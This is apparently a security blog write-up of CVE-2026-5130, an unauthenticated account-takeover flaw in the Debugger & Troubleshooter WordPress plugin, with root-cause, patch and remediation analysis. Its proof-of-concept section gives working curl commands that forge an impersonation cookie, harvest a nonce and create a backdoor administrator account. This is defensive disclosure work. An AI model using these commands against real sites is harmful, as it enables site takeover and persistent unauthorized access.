CVE-2026-5130: Debugger & Troubleshooter Unauthenticated Account Takeover

CVE-2026-5130: Debugger & Troubleshooter Unauthenticated Account Takeover

Updated 12 min read

CVE-2026-5130 is a CVSS 8.8 High Severity unauthenticated privilege escalation vulnerability in the Debugger & Troubleshooter WordPress plugin. By sending a single HTTP request with a forged cookie, an attacker with no account and no prior knowledge of the site can impersonate any user — including the primary administrator — and take full control of the WordPress installation.

Vulnerability Summary

FieldValue
Plugin NameDebugger & Troubleshooter
Plugin Slugdebugger-troubleshooter
CVE IDCVE-2026-5130
CVSS Score8.8 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-565 — Reliance on Cookies without Validation and Integrity Checking
Vulnerability TypeUnauthenticated Privilege Escalation via Cookie Manipulation
Affected Versions<= 1.3.2
Patched Version1.4.0
PublishedMarch 30, 2026
ResearcherNabil Irawan — Heroes Cyber Security
Wordfence AdvisoryLink

Description

The Debugger & Troubleshooter plugin for WordPress includes a “User Role Simulator” feature that lets administrators temporarily impersonate other users for debugging purposes. In versions up to and including 1.3.2, the plugin trusted a client-controlled cookie (wp_debug_troubleshoot_simulate_user) as a raw user ID, with no cryptographic validation, no server-side mapping, and no check that the cookie was ever issued by an administrator.

Because the cookie value is read on every request via the plugins_loaded hook (priority 0) and then injected into WordPress’s authentication pipeline through the determine_current_user filter, an entirely unauthenticated attacker can impersonate any user on the site — including the primary administrator (typically user ID 1) — by sending a single HTTP request with a forged cookie.

This grants the attacker full administrator privileges, enabling complete site takeover: creation of new administrator accounts, plugin/theme installation, content modification, and arbitrary code execution via the standard plugin/theme upload paths.


Technical Analysis

Affected Component

  • File: debug-troubleshooter.php
  • Class: Debug_Troubleshooter
  • Constant: SIMULATE_USER_COOKIE = 'wp_debug_troubleshoot_simulate_user'

Vulnerable Code Path

The exploit chain is short — three pieces of code working together is enough.

1. Hook registration (constructor, line 77):

// Core troubleshooting logic (very early hook).
add_action('plugins_loaded', array($this, 'init_troubleshooting_mode'), 0);
add_action('plugins_loaded', array($this, 'init_live_debug_mode'), 0);
add_action('plugins_loaded', array($this, 'init_user_simulation'), 0);

init_user_simulation() is wired to plugins_loaded at priority 0, which means it runs on every single HTTP request that loads WordPress — REST API calls, admin pages, front-end pages, AJAX requests, the lot. Crucially, this includes requests from completely unauthenticated visitors.

2. Cookie ingestion (init_user_simulation, lines 797–806):

public function init_user_simulation()
{
    if (isset($_COOKIE[self::SIMULATE_USER_COOKIE])) {
        $this->simulated_user_id = (int) $_COOKIE[self::SIMULATE_USER_COOKIE];

        // Hook into determine_current_user to override the user ID.
        // Priority 20 ensures we run after most standard authentication checks.
        add_filter('determine_current_user', array($this, 'simulate_user_filter'), 20);
    }
}

The cookie value is directly cast to an integer and stored. There is:

  • No nonce check — there is no nonce, anywhere, for this code path.
  • No capability checkcurrent_user_can() is never called.
  • No HMAC, signature, or token validation — the cookie value is the user ID, in plain text.
  • No server-side mapping lookup — the cookie is not cross-checked against any allow-list of “this admin previously authorized impersonation”.
  • No origin or referer check.
  • No rate limiting.

If the cookie is present, the next step is unconditional.

3. Authentication override (simulate_user_filter, lines 814–820):

public function simulate_user_filter($user_id)
{
    if ($this->simulated_user_id) {
        return $this->simulated_user_id;
    }
    return $user_id;
}

determine_current_user is the canonical WordPress filter that decides who the current user is. Returning a user ID from this filter is functionally equivalent to a successful login: every subsequent call to wp_get_current_user(), is_user_logged_in(), current_user_can(), etc., will see the attacker as the impersonated user.

Because this filter runs at priority 20after the standard cookie-auth resolver — the attacker’s value overrides the legitimate authentication outcome. An anonymous request with Cookie: wp_debug_troubleshoot_simulate_user=1 is now WordPress user ID 1 (almost always the site owner / primary administrator).

Root Cause

The plugin treats a client-controlled, integrity-free cookie as an authoritative source of identity. The cookie value is the secret and the claim — there is no separation between “the attacker is asserting this user ID” and “the system has verified this assertion”. Anything the client sends is accepted.

This is a textbook example of CWE-565: Reliance on Cookies without Validation and Integrity Checking. The mistake is conceptual: the developer treated the cookie as if it were a server-issued capability (because it was set via setcookie() from an admin-only AJAX handler) rather than as untrusted user input (which is what every cookie actually is on the wire).

Why Existing Controls Failed

The plugin’s “Enter Simulation” AJAX handler (ajax_toggle_simulate_user, line 918) does enforce both a nonce and current_user_can('manage_options') before issuing the cookie:

if ($is_post) {
    check_ajax_referer('debug_troubleshoot_nonce', 'nonce');
}

if (!current_user_can('manage_options') && !$this->is_simulating_user()) {
    wp_send_json_error(array('message' => __('Permission denied.', 'debugger-troubleshooter')));
}

These checks gate the issuance of the cookie — but they are completely irrelevant to an attacker, because the cookie is just a number. The attacker doesn’t need the AJAX endpoint to issue them a cookie; they can write the cookie themselves with curl -b. The integrity check that should have run on the consumption side (init_user_simulation) was never written.

In short: the legitimate code path was protected; the trusting code path was the entire vulnerability.

Attack Impact

A single HTTP request with a forged cookie grants the attacker the privileges of any chosen user ID. Practically:

  • Setting =1 impersonates the first user, which on the overwhelming majority of WordPress installs is the site owner / primary administrator.
  • Once authenticated as administrator, the attacker can:
    • Create additional administrator accounts (persistent backdoor)
    • Install and activate arbitrary plugins or themes (RCE via plugin upload)
    • Edit theme/plugin files via the editor (direct RCE)
    • Read or modify any database content (posts, users, options, secrets)
    • Export site data, exfiltrate user credentials/PII
    • Hijack the site for SEO spam, malware distribution, or phishing

The attack requires no authentication, no user interaction, no prior knowledge of the site’s configuration, and can be performed in a single request. CVSS 8.8 (High) is on the conservative side; the practical impact is total site compromise.


Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only. Use only against systems you own or have explicit written permission to test.

Prerequisites

  • A WordPress installation with the Debugger & Troubleshooter plugin installed and activated, version <= 1.3.2
  • Network access to the target site
  • That’s it — no account, no nonce, no prior knowledge

Step-by-Step Reproduction

Step 1 — Confirm the takeover by accessing the WordPress dashboard.

From a clean, unauthenticated client (no existing WordPress session), send a request to /wp-admin/ with the forged cookie:

curl -i \
  -b "wp_debug_troubleshoot_simulate_user=1" \
  "https://target.tld/wp-admin/index.php"

Without the cookie, this request would return a 302 redirect to wp-login.php. With the cookie, it returns HTTP/1.1 200 OK and the full HTML of the WordPress administrator dashboard. The response will contain markers such as <body class="wp-admin ...">, the admin bar, and the welcome panel — proof that the plugin has authenticated the request as user ID 1.

Step 2 — Harvest a user-creation nonce from the admin UI.

Now that the attacker is “logged in”, they can scrape any admin page to obtain valid nonces. Fetch the “Add New User” page and extract the _wpnonce_create-user token:

curl -s \
  -b "wp_debug_troubleshoot_simulate_user=1" \
  "https://target.tld/wp-admin/user-new.php" \
  -o user-new.html

NONCE=$(grep -oE 'name="_wpnonce_create-user" value="[a-f0-9]+"' user-new.html \
        | head -n1 \
        | sed -E 's/.*value="([a-f0-9]+)".*/\1/')

echo "Captured nonce: $NONCE"

Step 3 — Create a new administrator account.

POST to user-new.php with the harvested nonce and a new admin’s credentials:

curl -i \
  -b "wp_debug_troubleshoot_simulate_user=1" \
  -d "action=createuser" \
  -d "_wpnonce_create-user=$NONCE" \
  -d "_wp_http_referer=%2Fwp-admin%2Fuser-new.php" \
  -d "user_login=pwned" \
  -d "email=pwned@example.tld" \
  -d "first_name=" \
  -d "last_name=" \
  -d "url=" \
  -d "pass1=Sup3rStr0ng!Pass" \
  -d "pass2=Sup3rStr0ng!Pass" \
  -d "pw_weak=on" \
  -d "send_user_notification=0" \
  -d "role=administrator" \
  -d "createuser=Add+New+User+" \
  "https://target.tld/wp-admin/user-new.php"

Expected Result

After Step 1, the attacker has full administrator-level access for the duration of any request that includes the cookie — no session, no credentials, no token exchange.

After Step 3, a persistent backdoor administrator account named pwned exists in the database with the password Sup3rStr0ng!Pass. This account survives even if the plugin is later removed or patched, giving the attacker durable access independent of the original vulnerability.

Verification

Confirm the takeover via any of:

  1. Visual: open https://target.tld/wp-admin/users.php?role=administrator in a browser with the cookie set; the new pwned user appears in the administrator list.
  2. Database: wp user list --role=administrator (via WP-CLI) shows the rogue user.
  3. Login: navigate to wp-login.php and authenticate as pwned / Sup3rStr0ng!Pass — full dashboard access without any forged cookie.

Patch Analysis

What Changed

The patch (version 1.4.0) restructures the simulation feature around a server-side token store. Two changes are load-bearing:

  1. Cookie value is now an unguessable token, not a user ID. When an admin starts a simulation, the plugin generates a 64-character random token via wp_generate_password(64, false), stores token => user_id in the dbgtbl_sim_users WordPress option, and sets the cookie to the token.
  2. init_user_simulation() now requires the cookie to map to an existing entry in the option. If the token isn’t in the database, the filter is never registered and the request proceeds as anonymous.

A handful of secondary hardening changes were also made:

  • Mandatory nonce check in ajax_toggle_simulate_user — the previous version exempted GET requests (“the Exit action might not have a nonce”) allowing CSRF on the disable path. The new version requires check_ajax_referer unconditionally.
  • The exit-simulation script now embeds a fresh nonce and posts it back, removing the GET-bypass excuse.
  • Same token-based pattern applied to the unrelated TROUBLESHOOT_COOKIE (which previously stored a JSON blob in the cookie itself — also a tampering risk, though distinct from this CVE).

Fix Explanation

The fix is conceptually correct: the cookie is now an opaque reference to a server-side state record, not the state itself. An attacker who guesses or brute-forces a cookie value would need to land on a 64-character (≈378 bits of entropy) random string that an administrator has actively created — computationally infeasible. The cookie can no longer be forged by simply choosing an integer.

The token is also tied to a specific simulation session: revoking simulation deletes the token from the option, immediately invalidating the cookie. There is no longer any way for an attacker to assert identity without the database having previously been told to honor that token.

Residual considerations:

  • The dbgtbl_sim_users option is unbounded; if old simulation sessions are not cleaned up the option could grow over time, but this is a hygiene issue rather than a security one.
  • Tokens are stored unhashed in the option. If an attacker has read access to wp_options (e.g., via SQL injection in another plugin) they could extract a valid token and impersonate users. Hashing tokens at rest would be a defense-in-depth improvement, but this is a much narrower threat model than the original CVE.
  • The fix relies on wp_generate_password(64, false) for entropy, which uses a CSPRNG on modern PHP — appropriate for this use case.

The core vulnerability is fully addressed.

Code Diff (Key Changes)

The vulnerable consumption path (lines 797–806) was rewritten:

 public function init_user_simulation()
 {
     if (isset($_COOKIE[self::SIMULATE_USER_COOKIE])) {
-        $this->simulated_user_id = (int) $_COOKIE[self::SIMULATE_USER_COOKIE];
-
-        // Hook into determine_current_user to override the user ID.
-        // Priority 20 ensures we run after most standard authentication checks.
-        add_filter('determine_current_user', array($this, 'simulate_user_filter'), 20);
+        $token = sanitize_text_field(wp_unslash($_COOKIE[self::SIMULATE_USER_COOKIE]));
+        $sim_users = get_option('dbgtbl_sim_users', array());
+
+        if (isset($sim_users[$token])) {
+            $this->simulated_user_id = (int) $sim_users[$token];
+
+            // Hook into determine_current_user to override the user ID.
+            // Priority 20 ensures we run after most standard authentication checks.
+            add_filter('determine_current_user', array($this, 'simulate_user_filter'), 20);
+        }
     }
 }

The cookie issuance path now generates a token and stores the mapping server-side:

     if ($enable && $user_id) {
+        $token = wp_generate_password(64, false);
+        $sim_users = get_option('dbgtbl_sim_users', array());
+        $sim_users[$token] = $user_id;
+        update_option('dbgtbl_sim_users', $sim_users);
+
         // Set cookie
-        setcookie(self::SIMULATE_USER_COOKIE, $user_id, array(
+        setcookie(self::SIMULATE_USER_COOKIE, $token, array(

And the AJAX handler’s nonce check is no longer conditional on the request method:

-    $is_post = isset($_SERVER['REQUEST_METHOD']) && 'POST' === $_SERVER['REQUEST_METHOD'];
-    if ($is_post) {
-        check_ajax_referer('debug_troubleshoot_nonce', 'nonce');
-    }
+    check_ajax_referer('debug_troubleshoot_nonce', 'nonce');

Timeline

DateEvent
(undisclosed)Vulnerability discovered by Nabil Irawan (Heroes Cyber Security) and reported to Wordfence
March 30, 2026Publicly disclosed via Wordfence Intelligence; version 1.4.0 released with the fix

Remediation

Update the debugger-troubleshooter plugin to version 1.4.0 or later immediately.

If updating is not immediately possible:

  1. Deactivate the plugin entirely — this is a debugging tool, it should not normally be active on production sites.
  2. As a temporary mitigation, block the cookie at the web-server / WAF layer:
    • Drop any incoming Cookie: header containing wp_debug_troubleshoot_simulate_user.
  3. After updating, audit the user list (wp user list --role=administrator) for any unfamiliar administrator accounts and review recent wp_options, plugin installations, and file modifications for signs of post-exploitation activity.

References

  1. Wordfence advisory: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/debugger-troubleshooter/debugger-troubleshooter-132-unauthenticated-privilege-escalation-to-administrator-via-cookie-manipulation
  2. Vulnerable source — cookie ingestion (line 827, post-patch numbering): https://plugins.trac.wordpress.org/browser/debugger-troubleshooter/tags/1.3.2/debug-troubleshooter.php#L827
  3. Vulnerable source — simulate_user_filter (line 849): https://plugins.trac.wordpress.org/browser/debugger-troubleshooter/tags/1.3.2/debug-troubleshooter.php#L849
  4. Patch changeset: https://plugins.trac.wordpress.org/changeset/3486202/debugger-troubleshooter/trunk/debug-troubleshooter.php
  5. Plugin homepage: https://wordpress.org/plugins/debugger-troubleshooter/
  6. CVE record: https://www.cve.org/CVERecord?id=CVE-2026-5130
  7. CWE-565: https://cwe.mitre.org/data/definitions/565.html
Share this post: X / Twitter LinkedIn

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee